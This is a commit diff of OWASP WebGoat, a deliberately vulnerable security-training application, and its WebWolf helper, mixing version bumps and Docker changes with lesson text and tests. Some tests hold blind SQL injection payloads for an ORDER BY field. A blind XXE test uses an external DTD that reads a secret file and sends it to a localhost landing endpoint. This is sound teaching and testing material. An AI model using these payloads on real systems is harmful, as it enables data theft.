pUserName = request.getParameter("UserName"); pUserName = request.getParameter("UserName");
if ( isUsernameValid (pUsername); if ( isUsernameValid (pUsername) ) {
ps = conn.prepareStatement("SELECT * FROM user_table ps = conn.prepareStatement("SELECT * FROM user_table
WHERE username = ? "); WHERE username = ? ");
ps.setString(1, pUsername); ps.setString(1, pUsername);

View File

@ -1,4 +1,5 @@
In this assignment try to perform an SQL injection through the ORDER BY field. In this assignment try to perform an SQL injection through the ORDER BY field.
Try to find the ip address of the `webgoat-prd` server. Try to find the ip address of the `webgoat-prd` server, guessing the complete
ip address might take too long so we give you the last part: `xxx.130.219.202`
Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection. Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection.

View File

@ -63,7 +63,7 @@ public class SqlInjectionLesson5aTest extends LessonTest {
.andExpect(status().isOk()) .andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("You have succeed"))) .andExpect(jsonPath("$.feedback", containsString("You have succeeded")))
.andExpect(jsonPath("$.output").doesNotExist()); .andExpect(jsonPath("$.output").doesNotExist());
} }

View File

@ -64,7 +64,7 @@ public class SqlInjectionLesson6aTest extends LessonTest {
.andExpect(status().isOk()) .andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true))) .andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("dave"))); .andExpect(jsonPath("$.feedback", containsString("passW0rD")));
} }
@Test @Test

View File

@ -30,7 +30,7 @@ public class SqlInjectionLesson6bTest extends LessonTest {
@Test @Test
public void submitCorrectPassword() throws Exception { public void submitCorrectPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b") mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
.param("userid_6b", "dave")) .param("userid_6b", "passW0rD"))
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true))); .andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
} }

View File

@ -28,7 +28,7 @@ public class SqlInjectionLesson12aTest extends LessonTest {
private WebgoatContext context; private WebgoatContext context;
@Before @Before
public void setup() throws Exception { public void setup() {
SqlInjection sql = new SqlInjection(); SqlInjection sql = new SqlInjection();
when(webSession.getCurrentLesson()).thenReturn(sql); when(webSession.getCurrentLesson()).thenReturn(sql);
@ -44,6 +44,40 @@ public class SqlInjectionLesson12aTest extends LessonTest {
.andExpect(status().isOk()); .andExpect(status().isOk());
} }
@Test
public void addressCorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void addressCorrectShouldOrderByHostnameUsingSubstr() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '1') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,2,1) = '0') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,3,1) = '4') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '9') IS NOT NULL then hostname else id end"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
}
@Test @Test
public void trueShouldSortByHostname() throws Exception { public void trueShouldSortByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers") mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
@ -63,21 +97,13 @@ public class SqlInjectionLesson12aTest extends LessonTest {
} }
@Test @Test
public void passwordIncorrectShouldOrderByHostname() throws Exception { public void addressIncorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers") mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END")) .param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev"))); .andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
} }
@Test
public void passwordCorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test @Test
public void postingCorrectAnswerShouldPassTheLesson() throws Exception { public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a") mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>
<dependency> <dependency>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -23,8 +23,8 @@ website. The following items are supported in WebWolf:
* Receiving email * Receiving email
* Landing page for incoming requests * Landing page for incoming requests
WebWolf runs as a separate web application and is started automatically when using the Docker image. If you WebWolf runs as a separate web application. If you are using the Docker-compose file you can just point your browser webWolfLink:here[] to open WebWolf.
are not using the Docker image you will need to download the jar file and start it: If you want to use the standalone version, you will need to download the jar file and start it:
``` ```
java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost] java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost]
@ -33,17 +33,7 @@ java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localho
By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you
can bind it to a different address (default localhost) can bind it to a different address (default localhost)
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well.
to find out the ip address of the Docker container.
```
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
docker pull webgoat/webwolf
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 9090:9090 webgoat/webwolf /home/webwolf/run.sh
```
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
This will start the application on port 9090, click webWolfLink:here[] to open WebWolf. This will start the application on port 9090, click webWolfLink:here[] to open WebWolf.

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>
@ -15,6 +15,11 @@
<artifactId>commons-lang</artifactId> <artifactId>commons-lang</artifactId>
<version>2.6</version> <version>2.6</version>
</dependency> </dependency>
<dependency>
<groupId>org.glassfish.jaxb</groupId>
<artifactId>jaxb-runtime</artifactId>
<version>2.3.0</version>
</dependency>
<dependency> <dependency>
<groupId>com.github.tomakehurst</groupId> <groupId>com.github.tomakehurst</groupId>

View File

@ -5,7 +5,7 @@ Or the resource you are trying to read contains illegal XML character which caus
Let's start with an example, in this case we reference an external DTD which we control on our own server. Let's start with an example, in this case we reference an external DTD which we control on our own server.
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
use this server to ping it using `webWolfLink:landing[noLink]` use this server to ping it using `webWolfRootLink:landing[noLink]`
How do we use this endpoint to verify whether we can perform XXE? How do we use this endpoint to verify whether we can perform XXE?
@ -14,7 +14,7 @@ We can again use WebWolf to host a file called `attack.dtd`, create this file wi
[source, subs="macros, specialcharacters"] [source, subs="macros, specialcharacters"]
---- ----
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'webWolfLink:landing[noLink]'> <!ENTITY ping SYSTEM 'webWolfRootLink:landing[noLink]'>
---- ----
Now submit the form change the xml using to: Now submit the form change the xml using to:
@ -37,7 +37,7 @@ Now in WebWolf browse to 'Incoming requests' and you will see:
---- ----
{ {
"method" : "GET", "method" : "GET",
"path" : "/ping", "path" : "/landing",
"headers" : { "headers" : {
"request" : { "request" : {
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",

View File

@ -18,6 +18,6 @@ DTD.
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|=== |===
Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]` Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`
(NOTE: this endpoint is under your full control) (NOTE: this endpoint is under your full control)
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson. Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

View File

@ -2,6 +2,7 @@
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed. An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed.
In general there are three types of entities: In general there are three types of entities:
* internal entities * internal entities
* external entities * external entities
* parameter entities. * parameter entities.
@ -34,6 +35,7 @@ may be exploited by dereferencing a malicious URI, possibly allowing arbitrary c
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released. local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
In general we can distinguish the following kind of XXE attacks: In general we can distinguish the following kind of XXE attacks:
* Classic: in this case an external entity is included in a local DTD * Classic: in this case an external entity is included in a local DTD
* Blind: no output and or errors are shown in the response * Blind: no output and or errors are shown in the response
* Error: try to get the content of a resource in the error message * Error: try to get the content of a resource in the error message

View File

@ -89,7 +89,34 @@ public class BlindSendFileAssignmentTest extends LessonTest {
"%remote;" + "%remote;" +
"]>" + "]>" +
"<comment><text>test&send;</text></comment>"; "<comment><text>test&send;</text></comment>";
performXXE(xml);
}
@Test
public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
//Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n";
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse()
.withStatus(200)
.withBody(dtd)));
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
//Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" +
"%remote;" +
"%all;" +
"]>" +
"<comment><text>test&send;</text></comment>";
performXXE(xml);
}
private void performXXE(String xml) throws Exception {
//Call with XXE injection //Call with XXE injection
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind") mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml)) .content(xml))

View File

@ -1,6 +1,6 @@
FROM openjdk:8-jre-slim FROM openjdk:11.0.1-jre-slim-stretch
ARG webgoat_version=v8.0.0.SNAPSHOT ARG webgoat_version=v8.0.0-SNAPSHOT
RUN \ RUN \
apt-get update && apt-get install && \ apt-get update && apt-get install && \
@ -10,5 +10,7 @@ USER webgoat
RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version} RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version}
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
EXPOSE 8080 EXPOSE 8080
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar"]
CMD ["--server.port=8080", "--server.address=0.0.0.0"]

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<properties> <properties>
@ -203,11 +203,13 @@
<!--<version>${project.version}</version>--> <!--<version>${project.version}</version>-->
<!--</dependency>--> <!--</dependency>-->
<!-- /lessons --> <!-- /lessons -->
<dependency>
<groupId>org.springframework.boot</groupId> <!-- devtools no longer working with Java 11 and Spring Boot version 1.* enable again once we move to 2.0-->
<artifactId>spring-boot-devtools</artifactId> <!--<dependency>-->
<optional>true</optional> <!--<groupId>org.springframework.boot</groupId>-->
</dependency> <!--<artifactId>spring-boot-devtools</artifactId>-->
<!--<optional>true</optional>-->
<!--</dependency>-->
<dependency> <dependency>
<groupId>org.postgresql</groupId> <groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId> <artifactId>postgresql</artifactId>

View File

@ -1,5 +1,6 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import lombok.extern.slf4j.Slf4j;
import org.hsqldb.server.Server; import org.hsqldb.server.Server;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
@ -17,6 +18,7 @@ import javax.sql.DataSource;
* JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database * JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database
*/ */
@Configuration @Configuration
@Slf4j
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true") @ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true")
public class HSQLDBDatabaseConfig { public class HSQLDBDatabaseConfig {
@ -27,7 +29,7 @@ public class HSQLDBDatabaseConfig {
public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory, public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory,
@Value("${hsqldb.silent:true}") boolean silent, @Value("${hsqldb.silent:true}") boolean silent,
@Value("${hsqldb.trace:false}") boolean trace) { @Value("${hsqldb.trace:false}") boolean trace) {
log.info("Starting internal database on port {} ...", hsqldbPort);
Server server = new Server(); Server server = new Server();
server.setDatabaseName(0, "webgoat"); server.setDatabaseName(0, "webgoat");
server.setDatabasePath(0, directory + "/data/webgoat"); server.setDatabasePath(0, directory + "/data/webgoat");

View File

@ -24,17 +24,22 @@
*/ */
package org.owasp.webgoat; package org.owasp.webgoat;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication; import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;
/** /**
* Main entry point, this project is here to get all the lesson jars included to the final jar file
*
* @author nbaars * @author nbaars
* @date 2/21/17 * @date 2/21/17
*/ */
@SpringBootApplication @SpringBootApplication
@Slf4j
public class StartWebGoat { public class StartWebGoat {
public static void main(String[] args) { public static void main(String[] args) {
log.info("Starting WebGoat with args: {}", args);
SpringApplication.run(WebGoat.class, args); SpringApplication.run(WebGoat.class, args);
} }
} }

View File

@ -1,6 +1,6 @@
FROM openjdk:8-jre-slim FROM openjdk:11.0.1-jre-slim-stretch
ARG webwolf_version=v8.0.0.SNAPSHOT ARG webwolf_version=v8.0.0-SNAPSHOT
RUN \ RUN \
apt-get update && apt-get install && \ apt-get update && apt-get install && \
@ -8,7 +8,9 @@ RUN \
USER webwolf USER webwolf
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
COPY start-webwolf.sh /home/webwolf
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.port=9090", "--server.address=0.0.0.0"]
EXPOSE 9090 EXPOSE 9090
ENTRYPOINT ["/home/webwolf/start-webwolf.sh"]
CMD ["--server.port=9090", "--server.address=0.0.0.0"]

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>
@ -26,7 +26,7 @@
<dependency> <dependency>
<groupId>commons-io</groupId> <groupId>commons-io</groupId>
<artifactId>commons-io</artifactId> <artifactId>commons-io</artifactId>
<version>LATEST</version> <version>${commons-io.version}</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
@ -57,11 +57,13 @@
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId> <artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency> </dependency>
<dependency>
<groupId>org.springframework.boot</groupId> <!-- devtools no longer working with Java 11 and Spring Boot version 1.* enable again once we move to 2.0-->
<artifactId>spring-boot-devtools</artifactId> <!--<dependency>-->
<optional>true</optional> <!--<groupId>org.springframework.boot</groupId>-->
</dependency> <!--<artifactId>spring-boot-devtools</artifactId>-->
<!--<optional>true</optional>-->
<!--</dependency>-->
<dependency> <dependency>
<groupId>org.webjars</groupId> <groupId>org.webjars</groupId>
@ -103,9 +105,9 @@
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version> <version>${maven-compiler-plugin.version}</version>
<configuration> <configuration>
<source>1.8</source> <source>11</source>
<target>1.8</target> <target>11</target>
<encoding>ISO-8859-1</encoding> <encoding>UTF-8</encoding>
</configuration> </configuration>
</plugin> </plugin>
<plugin> <plugin>

7
webwolf/start-webwolf.sh Executable file
View File

@ -0,0 +1,7 @@
#!/bin/bash
# Script to start WebWolf, it needs a valid database connection from WebGoat so we wait 8 seconds before starting
# WebWolf application
echo " Waiting for database to be available..."
sleep 8 && java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar $@